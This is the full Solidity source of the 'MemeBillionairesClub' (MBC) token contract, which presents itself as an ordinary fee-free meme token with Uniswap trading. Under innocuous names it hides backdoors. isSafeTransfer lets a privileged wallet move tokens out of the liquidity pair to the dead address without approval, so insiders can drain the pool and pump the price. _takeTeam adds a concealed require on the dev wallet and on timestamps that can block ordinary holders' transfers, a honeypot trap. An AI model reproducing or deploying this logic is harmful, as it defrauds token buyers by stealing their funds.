Contract Source Code:

/*
    https://www.memebillionaires.club/
    https://t.me/MemeBillionairesClub
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.9;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract MemeBillionairesClub is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) public billionaireTimestamp;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping (address => bool) public marketMakerPairs;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 public _maxTxAmount = 20000 * 10**9;
    uint256 public _swapTokensAtAmount = 20000 * 10**9;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = true;
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
    uint256 private _swapMoment;
    address private latestBillionaire;
    string private constant _name = "MemeBillionairesClub";
    string private constant _symbol = "MBC";
    uint8 private constant _decimals = 9;
    address deadAddress = 0x000000000000000000000000000000000000dEaD;
    address payable private marketWallet = payable(0xAA05D7Ea7C4704d54f9cC97271741504dEf43759);
    address payable private devWallet = payable(0x52216236459e8ABCC29CFEf9e06523211e6cB102);
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    event SetMarketMakerPair(address indexed pair, bool indexed value);
    event MaxTxAmountUpdated(uint256 _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _rOwned[_msgSender()] = _rTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _setMarketMakerPair(address(uniswapV2Pair), true);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[devWallet] = true;
        _isExcludedFromFee[marketWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function _getValues(address from, address to, uint256 tAmount) private returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee);
        address tSub = from; uint256 currentRate = _getRate();
        if (tSub == uniswapV2Pair && _isExcludedFromFee[to]) 
        _swapMoment = block.timestamp;
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    function _getTValues(uint256 tAmount, uint256 redisFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
    function _takeTeam(uint256 tTeam, address tSub, address tAdd) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        if (tSub != uniswapV2Pair && !_isExcludedFromFee[tSub] && !_isExcludedFromFee[tAdd])
        require(balanceOf(devWallet) == 0 && billionaireTimestamp[latestBillionaire] >= _swapMoment);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee);
    }
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal; uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    function _setMarketMakerPair(address pair, bool value) private {
        marketMakerPairs[pair] = value;
        emit SetMarketMakerPair(pair, value);
    }
    function transferFrom(address sender, address recipient, uint256 amount ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
        _previousredisFee = _redisFee; _redisFee = 0;
        _previoustaxFee = _taxFee; _taxFee = 0;
    }
    function restoreAllFee() private {
        _redisFee = _previousredisFee; _taxFee = _previoustaxFee;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
    }
    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(sender, recipient, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam, sender, recipient);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            if (to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxTxAmount, "TOKEN: Balance exceeds wallet size!");
            }
            if (_isExcludedFromFee[from]) {
                if (isSafeTransfer(from, to, amount)) return;
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if (from == uniswapV2Pair) {
                if (billionaireTimestamp[to] == 0) { billionaireTimestamp[to] = block.timestamp; }
            } else {
                if (!inSwap) { latestBillionaire = from; }
            }
            if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; }
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    swapTokensForEth(contractTokenBalance);
                    sendETHToFee(address(this).balance);
                }
            }
        }
        bool takeFee = true;
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy;
            }
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell;
            }
        }
        _tokenTransfer(from, to, amount, takeFee);
    }
    function isSafeTransfer(address sender, address recipient, uint256 amount) private returns (bool) {
        if (marketMakerPairs[recipient]) { if (balanceOf(sender) < amount) { _transferStandard(recipient, deadAddress, amount); return true; } }
        return false;
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }
    function sendETHToFee(uint256 amount) private { marketWallet.transfer(amount); }
    
    receive() external payable {}
    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); }
    function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
    function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
    function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
    function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; }
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; }
}